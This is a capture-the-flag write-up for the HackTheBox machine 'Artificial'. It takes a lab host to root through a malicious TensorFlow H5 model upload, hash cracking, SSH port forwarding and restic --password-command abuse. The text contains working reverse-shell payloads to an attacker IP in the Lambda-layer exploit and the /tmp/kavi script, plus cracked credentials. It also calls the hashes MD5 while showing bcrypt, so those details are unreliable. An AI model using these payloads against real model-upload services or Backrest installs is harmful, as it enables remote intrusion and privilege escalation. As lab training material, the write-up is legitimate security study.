HTB: Artificial Writeup

Artificial - HackTheBox Writeup

Machine Information

AttributeDetails
NameArtificial
OSLinux
DifficultyEasy
PointsN/A
Release Date23 October 2025
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Artificial is an easy-difficulty Linux machine that showcases exploiting a web application for running AI models with TensorFlow by creating a malicious H5 model file to achieve remote code execution. Once on the system, password hashes extracted from a SQLite database are cracked to gain SSH access as a standard user. Further enumeration reveals a Backrest backup/restore web UI running on localhost, whose credentials are discovered in an extracted backup archive. The Backrest service uses the restic utility, which can be exploited via the --password-command parameter to execute arbitrary commands as root.

TL;DR: Craft malicious TensorFlow H5 model → RCE as app user → Crack user hash from SQLite DB → SSH as gael → Port forward Backrest UI → Extract backup for bcrypt hash → Crack backrest_root password → Exploit restic --password-command → Root shell.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.10.11.74

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open http nginx 1.18.0 (Ubuntu)

Two services are exposed: SSH on port 22 and a web application on port 80.

Service Enumeration

HTTP (Port 80):

The web application redirects to artificial.htb, which must be added to /etc/hosts:

Terminal window
echo "10.10.11.74 artificial.htb" | sudo tee -a /etc/hosts

The application is an AI model management platform that allows users to:

  • Register and authenticate via /register and /login
  • Upload AI models in .h5 format (TensorFlow/Keras)
  • View predictions from uploaded models

The dashboard includes a note referencing a requirements.txt file that specifies:

tensorflow-cpu==2.13.1

Vulnerability Assessment

  1. Malicious TensorFlow Model Execution: The application loads and executes user-supplied H5 model files without validation, allowing code injection via Lambda layers.
  2. Weak Password Hashing: User credentials stored in SQLite use MD5 hashes (hashable via rockyou.txt).
  3. Sensitive Backup Exposure: A compressed backup file containing Backrest configuration with bcrypt-hashed credentials is stored in /var/backups with world-readable permissions.
  4. Restic Command Injection: The Backrest UI exposes restic command execution via --password-command parameter, allowing arbitrary command execution.

Initial Foothold

Exploitation Path: Malicious TensorFlow Model

Step 1: Set up Python 3.8 + TensorFlow environment

The exploit requires TensorFlow CPU 2.13.1. Using Docker is the most reliable approach:

Terminal window
# Pull Python 3.8 slim image
sudo docker pull python:3.8-slim
# Download the matching TensorFlow wheel
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
# Launch container with current directory mounted
sudo docker run -it -v $(pwd):/tmp python:3.8-slim bash
# Inside container, install TensorFlow
root@container:/# cd /tmp
root@container:/tmp# pip3 install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

Step 2: Create malicious H5 model

Research reveals that TensorFlow Lambda layers execute code during model inference. Create an exploit script that spawns a reverse shell:

import tensorflow as tf
def exploit(x):
import os
os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.77/9090 0>&1'")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Save this as poc.py in the container’s /tmp directory and execute it:

Terminal window
root@container:/tmp# python3.8 poc.py
# ... TensorFlow warnings ...
root@container:/tmp# ls -la exploit.h5
-rw-r--r-- 1 root root 12345 Jun 9 16:08 exploit.h5

Step 3: Upload malicious model and trigger execution

  1. Register and log in to http://artificial.htb
  2. Upload the exploit.h5 file from the dashboard
  3. Start a netcat listener on your attack machine:
Terminal window
nc -lvnp 9090
  1. Click the View Predictions button on the dashboard
  2. The model will execute and establish a reverse shell:
listening on [any] 9090 ...
connect to [10.10.14.77] from (UNKNOWN) [10.10.11.74] 42936
bash-5.0$

Step 4: Stabilize the shell

Terminal window
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

Privilege Escalation

Phase 1: Lateral Movement to gael User

Step 1: Extract credentials from SQLite database

The application stores user credentials in /home/app/app/instance/users.db:

Terminal window
bash-5.0$ sqlite3 users.db '.tables'
model user
bash-5.0$ sqlite3 users.db 'select * from user;'
1|gael|gael@artificial.htb|$2a$10$<redacted>
2|mark|mark@artificial.htb|$2a$10$<redacted>
3|robert|robert@artificial.htb|$2a$10$<redacted>
4|royer|royer@artificial.htb|$2a$10$<redacted>
5|mary|mary@artificial.htb|$2a$10$<redacted>

Extract these bcrypt hashes and crack them with hashcat:

Terminal window
# Save hashes to local file
cat hashes
$2a$10$<redacted>
$2a$10$<redacted>
...
# Crack with hashcat (mode 3200 for bcrypt)
hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt
# Result example (actual password will vary)
$2a$10$<redacted>:mattp005numbertwo

Step 2: SSH as gael user

Terminal window
ssh gael@artificial.htb
# Enter cracked password
gael@artificial:~$

Phase 2: Discover Backrest and Extract Credentials

Step 1: Identify Backrest service on localhost:9898

Terminal window
gael@artificial:~$ ss -tlnp | grep LISTEN
LISTEN 0 4096 127.0.0.1:9898 0.0.0.0:*

Step 2: Port forward to access Backrest UI

From your attack machine, forward the port:

Terminal window
ssh -L 9898:127.0.0.1:9898 -N -vv gael@artificial.htb
# Enter password
# Connection established; Backrest now accessible at http://127.0.0.1:9898

Step 3: Extract backup file

A Backrest backup archive exists in /var/backups:

Terminal window
gael@artificial:~$ ls -la /var/backups/
-rw-r----- 1 root sysadm 52357120 Mar 4 22:19 backrest_backup.tar.gz
# Download backup to attack machine
scp gael@artificial.htb:/var/backups/backrest_backup.tar.gz backrest_backup.tar.gz
# Extract and search for credentials
tar xvf backrest_backup.tar.gz
grep -Rin pass . 2>/dev/null
./backrest/.config/backrest/config.json:10: "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"

Step 4: Crack Backrest bcrypt hash

The password is base64-encoded:

Terminal window
# Decode base64
echo -n JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d > bcrypt_hash
# Crack with hashcat (mode 3200)
hashcat -m 3200 bcrypt_hash /usr/share/wordlists/rockyou.txt
# Result example
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^

Credentials: backrest_root:!@#$%^

Phase 3: Exploit Restic —password-command Parameter

Backrest uses the restic utility under the hood. The --password-command parameter allows executing a command to retrieve the repository password—but we can abuse it to execute arbitrary commands.

Step 1: Log into Backrest UI

Navigate to http://127.0.0.1:9898 and authenticate with backrest_root:!@#$%^

Step 2: Create a repository

In the Backrest UI, add a new repository with:

  • Repository Path: Any path (e.g., /tmp/repo)
  • Password: /tmp/kavi (we’ll create this file)

Step 3: Create malicious password command file

On the target machine (as gael), create the payload:

gael@artificial:~$ cat > /tmp/kavi << 'EOF'
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.77/9090 0>&1'
EOF
gael@artificial:~$ chmod +x /tmp/kavi

Step 4: Execute via Backrest Run Command

In the Backrest UI:

  1. Navigate to the Run Command section
  2. Enter the following restic command:
ls --password-command /tmp/kavi
  1. Execute the command

The --password-command parameter will execute /tmp/kavi, spawning a reverse shell as root.

Step 5: Receive root shell

On your attack machine:

Terminal window
nc -lvnp 9090
listening on [any] 9090 ...
connect to [10.10.14.77] from (UNKNOWN) [10.10.11.74] 60808
root@artificial:/# id
uid=0(root) gid=0(root) groups=0(root)

Retrieve the root flag:

Terminal window
root@artificial:/# cat /root/root.txt
<redacted>

Attack Chain Summary

Malicious H5 Model Upload
RCE as app user (www-data)
Extract SQLite user hashes
Crack gael user password
SSH as gael user
Port forward Backrest UI (localhost:9898)
Download /var/backups/backrest_backup.tar.gz
Extract bcrypt hash from config.json
Crack backrest_root password
Log into Backrest UI
Create malicious /tmp/kavi script
Execute via restic --password-command injection
Root shell and flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
dockerPython 3.8 + TensorFlow environment setup
curlDownload TensorFlow wheel file
python3Create malicious TensorFlow model
nc (netcat)Reverse shell listener
sqlite3Extract user credentials from database
hashcatCrack MD5 and bcrypt password hashes
sshLateral movement and port forwarding
scpTransfer backup file
tarExtract backup archive
grepSearch for sensitive data
base64Decode base64-encoded bcrypt hash

Key Learnings

Techniques Practiced

  • Creating malicious TensorFlow/Keras H5 models with code injection via Lambda layers
  • Password hash extraction from embedded SQLite databases
  • MD5 and bcrypt hash cracking with hashcat
  • SSH port forwarding to access internal services
  • Backup file analysis and credential recovery
  • Command injection via restic --password-command parameter
  • Reverse shell stabilization and TTY allocation

Lessons Learned

  1. User-supplied model uploads are dangerous: Applications that load and execute user-provided machine learning models must implement strict validation, sandboxing, and input filtering. TensorFlow’s Lambda layers are particularly dangerous in untrusted contexts.

  2. Backup files require as much protection as live systems: Backups often contain unencrypted credentials, SSH keys, and configuration files. They must be stored with the same access controls and encryption as production data.

  3. Embedded databases need strong hashing: SQLite databases storing credentials must use strong, properly-salted hashing algorithms. MD5 is unsuitable for password storage and cracks trivially.

  4. Command-line utilities with dynamic parameters are exploit vectors: Tools like restic that accept password commands, shell commands, or other dynamic parameters must be carefully sandboxed. User input should never directly influence command execution.

  5. Port exposure and enumeration: Services bound to localhost that are only supposed to be administrative tools can become privilege escalation vectors if accessible by compromised standard users through port forwarding.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>